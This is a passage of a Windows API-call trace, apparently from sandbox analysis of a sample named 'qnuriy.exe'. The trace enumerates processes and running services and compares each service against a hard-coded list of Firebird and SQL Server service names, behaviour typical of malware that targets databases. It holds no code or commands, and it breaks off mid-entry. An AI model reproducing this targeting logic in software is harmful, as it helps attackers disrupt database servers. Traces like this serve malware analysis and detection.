th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.621] lstrlenW (lpString="svchost.exe") returned 11 [0202.622] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0202.622] lstrlenW (lpString="dllhost.exe") returned 11 [0202.622] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0202.623] lstrlenW (lpString="dllhost.exe") returned 11 [0202.623] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0202.624] lstrlenW (lpString="qnuriy.exe") returned 10 [0202.624] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0202.625] lstrlenW (lpString="cmd.exe") returned 7 [0202.625] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0202.626] lstrlenW (lpString="conhost.exe") returned 11 [0202.626] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0202.626] CloseHandle (hObject=0x1a8) returned 1 [0202.626] Sleep (dwMilliseconds=0x1f4) [0203.321] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x56fed0 [0203.322] EnumServicesStatusExW (in: hSCManager=0x56fed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0203.322] GetLastError () returned 0xea [0203.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x53e1c0 [0203.323] EnumServicesStatusExW (in: hSCManager=0x56fed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x53e1c0, cbBufSize=0x134c, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x53e1c0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0203.324] CloseServiceHandle (hSCObject=0x56fed0) returned 1 [0203.324] lstrlenW (lpString="Appinfo") returned 7 [0203.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0203.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0203.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0203.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0203.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0203.324] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0203.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0203.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0203.325] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0203.325] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0203.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0203.325] lstrlenW (lpString="AudioSrv") returned 8 [0203.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0203.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0203.325] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0203.325] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0203.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0203.325] lstrlenW (lpString="BFE") returned 3 [0203.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0203.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0203.325] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0203.325] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0203.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0203.325] lstrlenW (lpString="CryptSvc") returned 8 [0203.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0203.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0203.326] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0203.326] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0203.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0203.326] lstrlenW (lpString="CscService") returned 10 [0203.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0203.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0203.326] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0203.326] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0203.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0203.326] lstrlenW (lpString="DcomLaunch") returned 10 [0203.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0203.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0203.326] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0203.326] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0203.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0203.327] lstrlenW (lpString="Dhcp") returned 4 [0203.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0203.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0203.327] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0203.327] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0203.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0203.327] lstrlenW (lpString="Dnscache") returned 8 [0203.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0203.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0203.327] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0203.327] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0203.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0203.327] lstrlenW (lpString="DPS") returned 3 [0203.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0203.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0203.328] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0203.328] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0203.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0203.328] lstrlenW (lpString="eventlog") returned 8 [0203.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0203.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0203.328] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0203.328] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0203.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0203.328] lstrlenW (lpString="EventSystem") returned 11 [0203.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0203.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0203.328] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0203.328] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0203.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0203.328] lstrlenW (lpString="FontCache") returned 9 [0203.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0203.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0203.329] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0203.329] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0203.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0203.329] lstrlenW (lpString="gpsvc") returned 5 [0203.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0203.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0203.329] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0203.329] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0203.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0203.329] lstrlenW (lpString="iphlpsvc") returned 8 [0203.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0203.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0203.329] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0203.329] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0203.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0203.329] lstrlenW (lpString="LanmanServer") returned 12 [0203.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0203.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0203.329] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0203.329] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0203.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0203.329] lstrlenW (lpString="LanmanWorkstation") returned 17 [0203.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0203.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0203.329] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0203.329] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0203.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0203.329] lstrlenW (lpString="lmhosts") returned 7 [0203.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0203.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0203.330] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0203.330] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0203.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0203.330] lstrlenW (lpString="MMCSS") returned 5 [0203.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0203.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0203.330] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0203.330] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0203.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0203.330] lstrlenW (lpString="MpsSvc") returned 6 [0203.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0203.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0203.330] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0203.330] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0203.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0203.330] lstrlenW (lpString="Netman") returned 6 [0203.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0203.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0203.330] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0203.330] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0203.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0203.331] lstrlenW (lpString="netprofm") returned 8 [0203.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0203.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0203.331] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0203.331] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0203.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0203.331] lstrlenW (lpString="NlaSvc") returned 6 [0203.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0203.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0203.331] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0203.331] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0203.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0203.331] lstrlenW (lpString="nsi") returned 3 [0203.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0203.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0203.332] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0203.332] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0203.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0203.332] lstrlenW (lpString="PcaSvc") returned 6 [0203.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0203.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0203.332] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0203.332] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0203.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0203.332] lstrlenW (lpString="PlugPlay") returned 8 [0203.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0203.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0203.332] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0203.332] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0203.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0203.332] lstrlenW (lpString="Power") returned 5 [0203.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0203.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0203.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0203.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0203.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0203.333] lstrlenW (lpString="ProfSvc") returned 7 [0203.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0203.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0203.333] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0203.333] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0203.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0203.333] lstrlenW (lpString="RpcEptMapper") returned 12 [0203.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.333] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0203.333] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0203.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0203.333] lstrlenW (lpString="RpcSs") returned 5 [0203.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0203.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0203.333] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0203.333] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0203.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0203.333] lstrlenW (lpString="SamSs") returned 5 [0203.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0203.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0203.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0203.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0203.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0203.334] lstrlenW (lpString="Schedule") returned 8 [0203.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0203.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0203.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0203.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0203.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0203.334] lstrlenW (lpString="SENS") returned 4 [0203.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0203.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0203.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0203.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0203.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0203.334] lstrlenW (lpString="ShellHWDetection") returned 16 [0203.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.334] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0203.335] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0203.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0203.335] lstrlenW (lpString="Spooler") returned 7 [0203.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0203.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0203.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0203.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0203.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0203.335] lstrlenW (lpString="sppsvc") returned 6 [0203.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0203.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0203.335] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0203.335] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0203.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0203.335] lstrlenW (lpString="SysMain") returned 7 [0203.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0203.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0203.335] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0203.336] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0203.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0203.336] lstrlenW (lpString="Themes") returned 6 [0203.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0203.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0203.336] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0203.336] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0203.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0203.336] lstrlenW (lpString="TrkWks") returned 6 [0203.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0203.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0203.336] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0203.336] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0203.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0203.336] lstrlenW (lpString="UxSms") returned 5 [0203.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0203.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0203.337] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0203.337] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0203.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0203.337] lstrlenW (lpString="WdiServiceHost") returned 14 [0203.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0203.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0203.337] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0203.337] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0203.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0203.337] lstrlenW (lpString="WdiSystemHost") returned 13 [0203.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0203.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0203.337] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0203.337] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0203.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0203.338] lstrlenW (lpString="WinDefend") returned 9 [0203.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0203.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0203.338] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0203.338] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0203.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0203.338] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0203.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0203.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0203.338] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0203.338] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0203.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0203.338] lstrlenW (lpString="Winmgmt") returned 7 [0203.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0203.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0203.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0203.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0203.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0203.339] lstrlenW (lpString="wscsvc") returned 6 [0203.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0203.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0203.339] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0203.339] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0203.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0203.339] lstrlenW (lpString="wuauserv") returned 8 [0203.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0203.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0203.339] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0203.339] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0203.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0203.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e1c0 | out: hHeap=0x4f0000) returned 1 [0203.339] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0203.342] Process32FirstW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.343] Process32NextW (in: hSnapshot=0x168, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0203.344] lstrlenW (lpString="System") returned 6 [0203.344] lstrcmpiW 